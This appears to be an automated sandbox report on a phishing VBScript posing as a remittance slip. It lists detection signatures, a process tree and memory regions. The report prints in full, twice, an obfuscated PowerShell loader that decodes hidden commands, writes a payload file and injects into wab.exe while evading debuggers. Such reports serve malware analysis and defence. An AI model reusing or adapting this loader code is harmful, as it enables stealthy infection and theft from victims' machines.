Analysis
- max time kernel
149s - max time network
141s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
17/07/2026, 11:25
General
- Target Remittance Slip 120,950USD.vbs
- Size 26KB
- Sample260717-njgbvadw8t
- SHA256 8765f214c14f45783e4e25d808f87a84cdfebebfb5e3480f4e44f043f2d00713
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Remittance Slip 120,950USD.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "function Glipzorp { $pamphiliidae = Get-Date; [void]$pamphiliidae };Get-Service | Out-Null;$equipoise=-44075+44075;Get-Host | Select-Object -First 1 | Out-Null;$overprovidentness228eholdningsopdeling=-8739+14739;function WobblyZonk { $overprovidentness228loomerism = Get-Random; [void]$overprovidentness228loomerism };function diplomatarierne ($overprovidentness228angebukss,$overprovidentness228) {$ramble = 'nonsense';$vitrescibility=rrfabriks(@(101,209,229,211,224,213,228,216,228,208,165,199,221,226,220,202,229,220,160,153,121,195,221,213,211,199,231,212,225,218,110,196,231,221,224,141,150,216,228,204,179,210,225,221,228,206,214,206,220,219,175,199,226,225,160,151,170,146)) ;Strathspeys ($vitrescibility);$tubeful = 'random'}function FloopZib { $politiinspektr = 'test'; [void]$politiinspektr };function rrfabriks ($videoafspillers) { $paaskrift = Get-Process | Select-Object -First 1 | Out-Null;do {[void](Get-Date);$overprovidentness228eholdningsopdeling=$equipoise%10;$videoafspillers[$equipoise]-=$kongerkke[$overprovidentness228eholdningsopdeling];$overprovidentness228loomerism = 'zazz';$overprovidentness228eholdningsopdeling=[char]$videoafspillers[$equipoise];$gste+=$overprovidentness228eholdningsopdeling;$equipoise++} while ($videoafspillers[$equipoise])$hundetegn = 'glorp' | Out-Null;$gste}function Strathspeys ($gp) {[void](Get-Service);&($zonula) $gp}Function Sofacyklens ($videoafspillers,$erastian=0){$pamphiliidae = 'frob' | Out-Null;$indgreb=rrfabriks(@(156,165,222,220,228,202,228,221,203,161,123,168,225,221,219,167,211,220,211,157,117,181,227,224,215,211,217,145,146,221,170,198,212,221,207,203,229,217,215,211,173,199,225,225,151));$stoftilfrslernes=@(Strathspeys ($indgreb));[void](Get-Date);For($ypperligst=0; $stoftilfrslernes[$ypperligst] -ne $alliums; $ypperligst++){$stoftilfrslernes[$ypperligst] = diplomatarierne $stoftilfrslernes[$ypperligst] $kongerkke[$ypperligst%10];$politiinspektr = 'zib'}$choosy=rrfabriks(@(110,204,222,215,220,133,205,204,214,200,179,189,204,203,146,216,230,216,212,219,170,206,213,224,225,209,215,219,220,204,180));[void](Get-Host);$gilmore=Strathspeys ($choosy);if ($erastian) { $opvokser = 'blap' | Out-Null;Strathspeys $gilmore}else {;[void](Get-Process);$gilmore}$paaskrift = 'frob' | Out-Null}$kongerkke=@(65,98,111,110,110,101,114,105,110,103);[void](Get-Date);$zonula=rrfabriks @(138,167,199);$vrng='\Sjippetovenes45.Pse';$pamphiliidae = 'quib' | Out-Null;$sendemandens=Sofacyklens 'dExfTkYyGwcKCDYRTyA6RUNZQFd6QjgHAFNGUk4fd1ZUThwTSFhbVW9SRk4pABECAUhzUl5eXlRCWE4hKBAKCAEdXVhbVW9S';$rerolling=Sofacyklens 'KRYbHh1fXUYKFSgUCkAJCh0OAgJvAQADQRARVgsfMQ0dGlMBHR4ACy4DC0gHAU9YVwkxDywMJSYDOhkCJSomW1dIKAUhPTEpJRkMPQdaWBU=';[void](Get-Host);$overprovidentness228angebukssphthartodocetic=Sofacyklens 'DBEXAwJXXDoLFTcHHTYjKTo9OjdvVEFe';$rekonfigurationernes=Sofacyklens 'Bic7';$hundetegn = 'glorp' | Out-Null;$cloudlessness=Sofacyklens 'FBEKHEMkFQwAEw==';$forstves=Sofacyklens 'fw==';[void](Get-Process);Sofacyklens 'ZQUDAQwEHlMIDi0PBAEAFgcFCwk1BwEdU0EXBxhdIBIfCg8RE0JKETMMCA==' 1;Sofacyklens 'ZQUDAQwEHlMdEjEQDgMLCwYIAlplEAocAQkeAAAAbxEfAgcRWk0ICDMRGxgLFls=' 1;$ramble = 'nonsense' | Out-Null;$rerolling=$supramental[0];Sofacyklens 'ZQUDAQwEHlMaDiURHAUcDBQdHRQgDwMHAAIXGwACfCwKGUMqEAMLBDVCQi0BCFJNAREkEB8cARMbDQsJNQwKHR1XQFEPCSYHDRsFFgEZBhMpAx0aAQEdCgsTKAE=' 1;[void](Get-Date);Sofacyklens 'ZQUDAQwEHlMDCDgHAV9aUk9BOgIyFkI+DxEaSUoBKA4CBQELARwCAi8WCgAdTA==' 1;while (!$moyen147) {$tubeful = 'random' | Out-Null;Sofacyklens 'ZQUDAQwEHlMhHykDHRwBEk9NGhU0Bw==' 1;Sofacyklens 'ZRYGCh0WGRsHATURHA8DCRsHCQIzDApAARUXB0ZDMwcEAQADGw4bFSAWBgEAAAAHCxRtQkscCxcdBQIOLwVDTkoDEwUdAmg=' 1;[void](Get-Host);Sofacyklens 'ZRYGCh0WGRsHATURHA8DCRsHCQIzDApAHQAGOwsWNAccGiYAEw0LFWlGDAIBEBYFCxQyDAodHUlSTR0CLwYKAw8LFgwAFGg=' 1;Sofacyklens 'ZRYGCh0WGRsHATURHA8DCRsHCQIzDApAHQAcDUZO' 1;$paaskrift = 'frob' | Out-Null;Sofacyklens 'ZQUDAQwEHlMMFTgOAxseFh8ACgMgBVpTShEbDR0UKhAGCBoWAQgDCygMCAscCxdHHRMgFhodTkgXGE5VcVI=' 1;if ($bryllupsmiddag5) {[void](Get-Process);Sofacyklens 'GgAWGgs+LzRKAC0NDQ8CXx0fCxUtAxcPGgwEDFxXeF9LGgcBARoFFSgEGx0dBB8FBwkmBx0AC0sADB0XLgwcCywKFhA=' 1;Sofacyklens 'MgFPSggMHgQFCC8RGgILCwYMABRhRgAYCxceCBYGNQsZC1xVS0lDIi8BAAoHCxVJLB41Bw==' 1;$overprovidentness228loomerism = 'zazz' | Out-Null} Sofacyklens 'Eg4KCx5NRkA=' 1;[void](Get-Date);Sofacyklens 'ZQUDAQwEHlMDCDgHAV9aUk9BOgIyFkI+DxEaSUoBKA4CBQELARwCAi8WCgAdTA==' 1 ;Sofacyklens 'ZQUDAQwEHlMBFzIJHRsADBwOCwkyX0sJAgoQCAJdMgMCDA8XE0JFQmURGh4cBB8MABMgDkENARAcHQ==' 1;$politiinspektr = 'zib' | Out-Null;$rerolling=$supramental[$opskruningens]}[void](Get-Host);$hained=145995;$neonlysskiltets=20193;$opvokser = 'blap' | Out-Null;Sofacyklens 'ZQUDAQwEHlMPATUOAwcAAhcbUwAiQksIBwkfAgEJMhcDCwARFwcd' 1;Sofacyklens 'ZQUDAQwEHlMtBjMHCRwLABwMHRR8OSwBABMXGxo6e1gpHAEIMAgdAndWPBocDBwORkMgBBsCAgwcDgsVaA==' 1;[void](Get-Process);Sofacyklens 'ZQUDAQwEHlMNFSARBwcAAh4QUzwVBxcaQCAcCgEDKAwIM1RfMzotLghMKAsaNgYbBwkmSkstDxcXDxwCJAwKHR1M' 1;Sofacyklens 'ZQUDAQwEHlMNCC8WHQEYAAAaF1ZxU1JKDRcTGgYOLwUDF0AWBwsdEzMLAQlGQRoIBwkkBkNKAAAdBwIeMhEEBwIRFx0dTg==' 1;$ramble = 'nonsense' | Out-Null;Strathspeys $controversy101;function BlippoZazz { $paaskrift = Get-Random; [void]$paaskrift };;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "function Glipzorp { $pamphiliidae = Get-Date; [void]$pamphiliidae };Get-Service | Out-Null;$equipoise=-44075+44075;Get-Host | Select-Object -First 1 | Out-Null;$overprovidentness228eholdningsopdeling=-8739+14739;function WobblyZonk { $overprovidentness228loomerism = Get-Random; [void]$overprovidentness228loomerism };function diplomatarierne ($overprovidentness228angebukss,$overprovidentness228) {$ramble = 'nonsense';$vitrescibility=rrfabriks(@(101,209,229,211,224,213,228,216,228,208,165,199,221,226,220,202,229,220,160,153,121,195,221,213,211,199,231,212,225,218,110,196,231,221,224,141,150,216,228,204,179,210,225,221,228,206,214,206,220,219,175,199,226,225,160,151,170,146)) ;Strathspeys ($vitrescibility);$tubeful = 'random'}function FloopZib { $politiinspektr = 'test'; [void]$politiinspektr };function rrfabriks ($videoafspillers) { $paaskrift = Get-Process | Select-Object -First 1 | Out-Null;do {[void](Get-Date);$overprovidentness228eholdningsopdeling=$equipoise%10;$videoafspillers[$equipoise]-=$kongerkke[$overprovidentness228eholdningsopdeling];$overprovidentness228loomerism = 'zazz';$overprovidentness228eholdningsopdeling=[char]$videoafspillers[$equipoise];$gste+=$overprovidentness228eholdningsopdeling;$equipoise++} while ($videoafspillers[$equipoise])$hundetegn = 'glorp' | Out-Null;$gste}function Strathspeys ($gp) {[void](Get-Service);&($zonula) $gp}Function Sofacyklens ($videoafspillers,$erastian=0){$pamphiliidae = 'frob' | Out-Null;$indgreb=rrfabriks(@(156,165,222,220,228,202,228,221,203,161,123,168,225,221,219,167,211,220,211,157,117,181,227,224,215,211,217,145,146,221,170,198,212,221,207,203,229,217,215,211,173,199,225,225,151));$stoftilfrslernes=@(Strathspeys ($indgreb));[void](Get-Date);For($ypperligst=0; $stoftilfrslernes[$ypperligst] -ne $alliums; $ypperligst++){$stoftilfrslernes[$ypperligst] = diplomatarierne $stoftilfrslernes[$ypperligst] $kongerkke[$ypperligst%10];$politiinspektr = 'zib'}$choosy=rrfabriks(@(110,204,222,215,220,133,205,204,214,200,179,189,204,203,146,216,230,216,212,219,170,206,213,224,225,209,215,219,220,204,180));[void](Get-Host);$gilmore=Strathspeys ($choosy);if ($erastian) { $opvokser = 'blap' | Out-Null;Strathspeys $gilmore}else {;[void](Get-Process);$gilmore}$paaskrift = 'frob' | Out-Null}$kongerkke=@(65,98,111,110,110,101,114,105,110,103);[void](Get-Date);$zonula=rrfabriks @(138,167,199);$vrng='\Sjippetovenes45.Pse';$pamphiliidae = 'quib' | Out-Null;$sendemandens=Sofacyklens 'dExfTkYyGwcKCDYRTyA6RUNZQFd6QjgHAFNGUk4fd1ZUThwTSFhbVW9SRk4pABECAUhzUl5eXlRCWE4hKBAKCAEdXVhbVW9S';$rerolling=Sofacyklens 'KRYbHh1fXUYKFSgUCkAJCh0OAgJvAQADQRARVgsfMQ0dGlMBHR4ACy4DC0gHAU9YVwkxDywMJSYDOhkCJSomW1dIKAUhPTEpJRkMPQdaWBU=';[void](Get-Host);$overprovidentness228angebukssphthartodocetic=Sofacyklens 'DBEXAwJXXDoLFTcHHTYjKTo9OjdvVEFe';$rekonfigurationernes=Sofacyklens 'Bic7';$hundetegn = 'glorp' | Out-Null;$cloudlessness=Sofacyklens 'FBEKHEMkFQwAEw==';$forstves=Sofacyklens 'fw==';[void](Get-Process);Sofacyklens 'ZQUDAQwEHlMIDi0PBAEAFgcFCwk1BwEdU0EXBxhdIBIfCg8RE0JKETMMCA==' 1;Sofacyklens 'ZQUDAQwEHlMdEjEQDgMLCwYIAlplEAocAQkeAAAAbxEfAgcRWk0ICDMRGxgLFls=' 1;$ramble = 'nonsense' | Out-Null;$rerolling=$supramental[0];Sofacyklens 'ZQUDAQwEHlMaDiURHAUcDBQdHRQgDwMHAAIXGwACfCwKGUMqEAMLBDVCQi0BCFJNAREkEB8cARMbDQsJNQwKHR1XQFEPCSYHDRsFFgEZBhMpAx0aAQEdCgsTKAE=' 1;[void](Get-Date);Sofacyklens 'ZQUDAQwEHlMDCDgHAV9aUk9BOgIyFkI+DxEaSUoBKA4CBQELARwCAi8WCgAdTA==' 1;while (!$moyen147) {$tubeful = 'random' | Out-Null;Sofacyklens 'ZQUDAQwEHlMhHykDHRwBEk9NGhU0Bw==' 1;Sofacyklens 'ZRYGCh0WGRsHATURHA8DCRsHCQIzDApAARUXB0ZDMwcEAQADGw4bFSAWBgEAAAAHCxRtQkscCxcdBQIOLwVDTkoDEwUdAmg=' 1;[void](Get-Host);Sofacyklens 'ZRYGCh0WGRsHATURHA8DCRsHCQIzDApAHQAGOwsWNAccGiYAEw0LFWlGDAIBEBYFCxQyDAodHUlSTR0CLwYKAw8LFgwAFGg=' 1;Sofacyklens 'ZRYGCh0WGRsHATURHA8DCRsHCQIzDApAHQAcDUZO' 1;$paaskrift = 'frob' | Out-Null;Sofacyklens 'ZQUDAQwEHlMMFTgOAxseFh8ACgMgBVpTShEbDR0UKhAGCBoWAQgDCygMCAscCxdHHRMgFhodTkgXGE5VcVI=' 1;if ($bryllupsmiddag5) {[void](Get-Process);Sofacyklens 'GgAWGgs+LzRKAC0NDQ8CXx0fCxUtAxcPGgwEDFxXeF9LGgcBARoFFSgEGx0dBB8FBwkmBx0AC0sADB0XLgwcCywKFhA=' 1;Sofacyklens 'MgFPSggMHgQFCC8RGgILCwYMABRhRgAYCxceCBYGNQsZC1xVS0lDIi8BAAoHCxVJLB41Bw==' 1;$overprovidentness228loomerism = 'zazz' | Out-Null} Sofacyklens 'Eg4KCx5NRkA=' 1;[void](Get-Date);Sofacyklens 'ZQUDAQwEHlMDCDgHAV9aUk9BOgIyFkI+DxEaSUoBKA4CBQELARwCAi8WCgAdTA==' 1 ;Sofacyklens 'ZQUDAQwEHlMBFzIJHRsADBwOCwkyX0sJAgoQCAJdMgMCDA8XE0JFQmURGh4cBB8MABMgDkENARAcHQ==' 1;$politiinspektr = 'zib' | Out-Null;$rerolling=$supramental[$opskruningens]}[void](Get-Host);$hained=145995;$neonlysskiltets=20193;$opvokser = 'blap' | Out-Null;Sofacyklens 'ZQUDAQwEHlMPATUOAwcAAhcbUwAiQksIBwkfAgEJMhcDCwARFwcd' 1;Sofacyklens 'ZQUDAQwEHlMtBjMHCRwLABwMHRR8OSwBABMXGxo6e1gpHAEIMAgdAndWPBocDBwORkMgBBsCAgwcDgsVaA==' 1;[void](Get-Process);Sofacyklens 'ZQUDAQwEHlMNFSARBwcAAh4QUzwVBxcaQCAcCgEDKAwIM1RfMzotLghMKAsaNgYbBwkmSkstDxcXDxwCJAwKHR1M' 1;Sofacyklens 'ZQUDAQwEHlMNCC8WHQEYAAAaF1ZxU1JKDRcTGgYOLwUDF0AWBwsdEzMLAQlGQRoIBwkkBkNKAAAdBwIeMhEEBwIRFx0dTg==' 1;$ramble = 'nonsense' | Out-Null;Strathspeys $controversy101;function BlippoZazz { $paaskrift = Get-Random; [void]$paaskrift };;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
-
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
Sjippetovenes45.Pse
memory/2972-26-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-6-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-7-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-8-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-9-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-10-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-11-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-12-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-13-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-14-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-15-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-16-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-17-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-18-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-20-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-22-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-23-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-24-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-25-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-0-0x00007FFAA609F000-0x00007FFAA60A0000-memory.dmp
memory/2972-29-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-27-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-28-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-30-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-32-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-34-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-3-0x000002B278260000-0x000002B278282000-memory.dmp
memory/2972-4-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2972-5-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/3484-47-0x0000000007A80000-0x0000000007B16000-memory.dmp
memory/3484-50-0x00000000080E0000-0x000000000869A000-memory.dmp
memory/3484-37-0x0000000005AD0000-0x0000000005AF2000-memory.dmp
memory/3484-42-0x0000000006390000-0x00000000066EB000-memory.dmp
memory/3484-44-0x00000000068A0000-0x00000000068BE000-memory.dmp
memory/3484-39-0x0000000006260000-0x00000000062C6000-memory.dmp
memory/3484-38-0x0000000005B80000-0x0000000005BE6000-memory.dmp
memory/3484-36-0x0000000005C10000-0x000000000625A000-memory.dmp
memory/3484-45-0x0000000006D40000-0x0000000006D8C000-memory.dmp
memory/3484-49-0x0000000006E70000-0x0000000006E92000-memory.dmp
memory/3484-48-0x0000000006E20000-0x0000000006E3A000-memory.dmp
memory/3484-51-0x0000000008D20000-0x000000000939C000-memory.dmp
memory/3484-35-0x0000000003060000-0x0000000003096000-memory.dmp
memory/3484-54-0x0000000025920000-0x000000002772C000-memory.dmp
memory/4844-63-0x0000000000C00000-0x0000000001EE6000-memory.dmp